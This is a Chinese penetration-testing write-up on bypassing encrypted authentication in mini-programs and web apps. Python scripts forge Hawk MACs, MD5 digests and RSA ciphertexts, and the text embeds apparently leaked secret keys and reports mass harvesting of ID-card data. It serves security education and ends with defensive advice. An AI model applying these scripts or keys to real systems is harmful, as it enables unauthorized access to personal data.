手把手拆解:小程序/Web端加密鉴权绕过案例全复现
字数 1466 2025-12-02 12:01:47
小程序/Web端加密鉴权绕过技术详解
概述
本文通过六个真实渗透测试案例,深入剖析小程序与Web端常见的加密鉴权机制,详细演示如何通过反编译、动态调试、JS逆向与脚本复现,精准定位加密逻辑、还原签名算法,并最终实现越权访问、信息遍历与账号接管。
案例一:Hawk协议鉴权绕过
漏洞背景
在对某小程序进行测试时,发现接口使用personalid参数返回用户信息。初步尝试修改ID进行越权测试时,发现存在时间戳(ts)、随机数(nonce)和MAC签名校验机制。
加密机制分析
-
请求参数结构:
var o = { ts: a, // 时间戳 nonce: i.nonce || e.utils.randomString(6), // 随机数 method: n, // 请求方法 resource: r.resource, // 请求资源 host: r.host, // 主机地址 port: r.port, // 端口 hash: i.hash, // 哈希值 ext: i.ext, // 扩展参数 app: i.app, // 应用标识 dlg: i.dlg // 代理标识 } -
MAC签名生成逻辑:
c = e.crypto.calculateMac("header", s, o) h = 'Hawk id="' + s.id + '",ts="' + o.ts + '",nonce="' + o.nonce + '",mac="' + c + '"' -
核心加密函数:
e.crypto = { calculateMac: function(t, r, n) { var i = e.crypto.generateNormalizedString(t, n); return s["Hmac" + r.algorithm.toUpperCase()](i, r.key).toString(s.enc.Base64) } }
密钥发现
通过搜索配置文件发现密钥位置:
key: "edb8bc95-a000-4ca0-81b8-dd2145050a70F61FB1981510CE5D3988193864A328A3"
攻击脚本
import base64
import hmac
import hashlib
import time
def generate_normalized_string(header_type, artifacts):
"""生成 Hawk 规范化字符串"""
n = f"hawk.1.{header_type}\n"
n += f"{artifacts['ts']}\n"
n += f"{artifacts['nonce']}\n"
n += f"{artifacts['method'].upper()}\n"
n += f"{artifacts['resource']}\n"
n += f"{artifacts['host'].lower()}\n"
n += f"{artifacts['port']}\n"
n += f"{artifacts['hash']}\n" # 空字符串
n += "\n" # 无 ext 参数
return n
def calculate_mac(credentials, artifacts):
"""计算 Hawk MAC 值"""
normalized_str = generate_normalized_string("header", artifacts)
key_bytes = credentials["key"].encode("utf-8")
msg_bytes = normalized_str.encode("utf-8")
hmac_digest = hmac.new(key_bytes, msg_bytes, hashlib.sha256).digest()
return base64.b64encode(hmac_digest).decode("utf-8")
# 使用示例
credentials = {
"id": "wasx",
"key": "edb8bc95-a000-4ca0-81b8-dd2145050a70F61FB1981510CE5D3988193864A328A3",
"algorithm": "sha256"
}
artifacts = {
"ts": int(time.time()),
"nonce": "6a0d5d576135004ead6cf4795e5b6112",
"method": "GET",
"resource": "xxxx/List/QueryByPersonalid?personalid=668223",
"host": "xxxxxxx",
"port": "443",
"hash": ""
}
calculated_mac = calculate_mac(credentials, artifacts)
print(f"计算 MAC: {calculated_mac}")
攻击效果
通过此脚本成功绕过鉴权,遍历获取7万+身份证信息。
案例二:MD5时间戳校验绕过
漏洞背景
在某预约功能中,发现personCode参数可返回个人信息,但存在时间戳校验机制。
加密机制分析
-
参数提取逻辑:
var n = a.domainUrl(o.domain).match(/[^/]+$/)[1] // 提取域名最后路径 u = o.url.includes("?") ? o.url.split("?")[0] : o.url // 去除查询参数 -
digest生成逻辑:
digest: t.hexMD5("/".concat(n, "/") + u + s).toUpperCase()
攻击脚本
import re
import hashlib
import time
def calculate_digest(domain, url, timestamp):
# 提取domain的最后路径片段
match = re.search(r'/([^/]+)/?$', domain)
if not match:
raise ValueError("Invalid domain format")
n = match.group(1)
# 去掉URL的查询参数
u = url.split('?', 1)[0]
# 拼接字符串
s = f"/{n}/{u}{timestamp}"
# 计算MD5并转大写
return hashlib.md5(s.encode('utf-8')).hexdigest().upper()
# 使用示例
domain = 'xxxxx'
url = 'xxxxx'
timestamp = int(time.time() * 1000) # 获取毫秒级时间戳
digest = calculate_digest(domain, url, timestamp)
print("digest:", digest)
案例三:RSA加密登录绕过
快速定位加密点方法
- XHR断点定位:在开发者工具中对XHR请求设置断点
- 调用栈分析:通过调用栈向上追踪找到加密参数
- 加密函数识别:定位到具体的加密函数实现
RSA加密分析
-
公钥设置:
rsa.setPublic(modulus, exponent) -
加密流程:
var m = pkcs1pad2(text, (this.n.bitLength()+7)>>3); var c = this.doPublic(m); var h = c.toString(16); if((h.length & 1) == 0) return h; else return "0" + h;
攻击脚本
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.backends import default_backend
# 设置公钥的模数和指数
modulus_hex = "B87A3BE2184FED0973FFB0B02A862DCAD15A1A29172EC8FF67E841FE26749A6AA04E48E9B02D963ED81DCE2B0086C034F7D47CCBACF8539C36B9445ABA5EF484F3CA32593762641B4C9683C79801D087198370D5719BB4E422FADAA4D883D13874DE67D8B6E883EBAACC53A8480F41EE8BE70D2F70BECF3CB7F1023D2C901CC3"
exponent_hex = "10001"
# 将十六进制字符串转换为整数
n = int(modulus_hex, 16)
e = int(exponent_hex, 16)
public_numbers = rsa.RSAPublicNumbers(e, n)
public_key = public_numbers.public_key(default_backend())
def rsa_encrypt(plaintext, public_key):
ciphertext = public_key.encrypt(
plaintext.encode('utf-8'),
padding.PKCS1v15()
)
hex_ciphertext = ciphertext.hex()
if len(hex_ciphertext) % 2 != 0:
hex_ciphertext = '0' + hex_ciphertext
return hex_ciphertext
# 使用示例
psw = "111111"
encrypted_psw = rsa_encrypt(psw, public_key)
print(f"加密后的密文: {encrypted_psw}")
攻击效果
通过固定密码爆破用户名的方式实现未授权访问。
案例四:密钥泄露导致的鉴权绕过
漏洞背景
在数据包中发现RSA加密密钥,结合账户鉴权参数account的加密实现,实现权限提升。
攻击过程
- 密钥发现:在请求响应中发现加密密钥
- 加密函数分析:
function encrypt(username, privatKey) { const encrypt = new JSEncrypt(); encrypt.setPublicKey(privatKey); const encrypted = encrypt.encrypt(username); return encrypted; } - 控制台直接调用:在浏览器控制台中直接调用加密函数
- 权限提升:使用管理员用户名加密后实现越权访问
攻击效果
成功获取数万条敏感数据。
案例五:小程序动态调试修改数据
漏洞背景
小程序注销功能使用POST方式传输加密数据。
攻击方法
- 路由定位:根据功能路由找到对应的加密点
- 动态调试:通过JS逆向调试工具动态修改参数值
- 实时加密:利用小程序自动生成密文的特性,修改手机号参数
技术要点
- 使用调试工具直接修改内存中的参数值
- 利用程序自动加密机制生成合法密文
- 绕过前端校验实现未授权操作
案例六:AES加密数据篡改
漏洞背景
小程序用户信息保存功能使用AES加密,响应中包含用户ID(yhgrid)。
加密分析
- 加密算法:AES-CBC-ZERO
- 密钥与IV:
UKU0m5xBbOa/Lz== - 数据传输:URL编码
攻击过程
- 断点调试:对修改用户地址信息接口进行调试
- 参数识别:定位到
grid参数为用户标识 - 数据篡改:修改
grid参数为其他用户标识 - 重放攻击:发送修改后的加密数据
攻击效果
成功修改其他用户信息,实现横向越权。
技术总结与防护建议
常见漏洞模式
- 密钥硬编码:密钥直接写在代码或配置文件中
- 算法可逆:加密算法被完整逆向
- 参数可预测:nonce、ts等参数缺乏随机性
- 校验缺失:缺乏完整的签名验证机制
防护措施
-
密钥安全管理:
- 使用硬件安全模块(HSM)
- 实现密钥轮换机制
- 避免密钥硬编码
-
增强加密强度:
- 使用非对称加密进行密钥交换
- 采用强随机数生成器
- 实现完善的前向安全性
-
完整校验机制:
- 多重签名验证
- 时间戳窗口限制
- 请求重放检测
-
代码安全:
- 代码混淆与加固
- 定期安全审计
- 安全开发培训
核心结论
加密本身并不等同于安全,其有效性完全依赖于密钥管理、参数时效性与实现细节。任何环节的疏漏都可能导致整个鉴权体系的失效。